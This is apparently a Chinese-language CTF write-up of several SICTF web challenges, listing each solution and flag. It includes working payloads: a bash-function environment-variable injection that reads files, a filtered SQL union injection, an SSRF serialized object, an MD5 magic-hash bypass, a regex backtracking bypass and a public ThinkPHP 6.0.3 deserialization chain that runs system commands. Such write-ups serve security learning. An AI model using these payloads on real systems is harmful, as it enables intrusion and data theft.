by:Infernity
100%_upload 可真气死我了这道题,没注意看url,跟着标题走,一直在文件上传,一直在绕过滤,他要过滤也不过滤全,留个.user.ini没过滤,就一直围绕这个想办法,结果……
打开题目,很明显的提示,index.php里有Include函数,那么我们直接上传一个jpg马,然后包含他就出来了。
SICTF{ea391e30-b67e-4a5d-97ca-7c00f1bc107b}
Not just unserialize 新知识点,利用环境变量注入。
https://www.cnblogs.com/h0cksr/p/16189733.html
前面的反序列化这里不再赘述。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class start { public $welcome ; public $you ; }class SE { public $year ; }class CR { public $last ; public $newyear =' worries' ; }class ET { }$a =new start ();$a ->welcome=new SE ();$a ->welcome->year=new CR ();$a ->welcome->year->last=new ET ();echo base64_encode (serialize ($a ));
/^.(worries). $/
这个可以在前面加个空格绕过。
主要是这一段:
1 2 3 foreach ($_GET ['get' ] as $inject => $rce ){ putenv ("{$inject} ={$rce} " ); }
这里环境变量注入要看看上面的文章,有点复杂。
这里直接get[BASH_FUNC_echo%%]=() { cat /f*; }
即可拿到flag。
hacker 这道题考查sql无列名注入。
https://blog.csdn.net/m0_46230316/article/details/106668182
1 'unionselect `2` from (select 1 ,2 union select *from flag)as a%23
过滤了空格,经过测试,一共有两列,而flag肯定在第二列,所以是2
SICTF{4fa6acc5-9d2c-4af8-908c-53b66839b019}
EZ_SSRF 他说有另一个文件,直接开扫!找到一个admin.php,进去看看
意思是我们需要把ip改成127.0.0.1
这里正好原文里给了curl
那直接以127.0.0.1开头进去就拿到flag了。
O:6:”client”:1:{s:3:”url”;s:26:”http://127.0.0.1/admin.php";}
最后base64解密
SICTF{af8d34d5-22c4-414d-a78e-b65f587712f5}
Oyst3rPHP 最讨厌藏东西的题了,开局先扫,扫出来一个www.zip这是网站备份文件,里面会有源码,在app/controller/里找到源码,审计源码,第一步
1 2 3 $right = @$_GET ['left' ];$left = @$_GET ['right' ];if ($right !== $left && md5 ($right ) == md5 ($left )){
传?left=240610708&right=QLTHNDT
第二步
1 2 3 4 5 6 if (preg_match ('/.+?THINKPHP/is' , $key )){ die ("Oysters don't want you to eat" ); }if (stripos ($key , '603THINKPHP' ) === false ){ die ("!!!Oysters don't want you to eat!!!" ); }
一般只有一个preg_match的判断,里面是一个die函数,用回溯次数绕过可以解,下面stripos函数需要我们的参数里有603THINKPHP,所以传一百万个a+603THINKPHP即可。
第三步就是反序列化了,这是thinkphp6.0.3有现成的poc,在网上一搜第一个就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php namespace think \model \concern ; trait Attribute { private $data = ["key" =>"cat /Oyst3333333r.php" ]; private $withAttr = ["key" =>"system" ]; } namespace think ; abstract class Model { use model \concern \Attribute ; private $lazySave = true ; protected $withEvent = false ; private $exists = true ; private $force = true ; protected $name ; public function __construct ($obj ="" ) { $this ->name=$obj ; } } namespace think \model ; use think \Model ; class Pivot extends Model {} $a =new Pivot (); $b =new Pivot ($a ); echo base64_encode (serialize ($b ));
post传参拿到flag
SICTF{c35c6cef-3fbb-41d3-9a53-1191b957a9f1}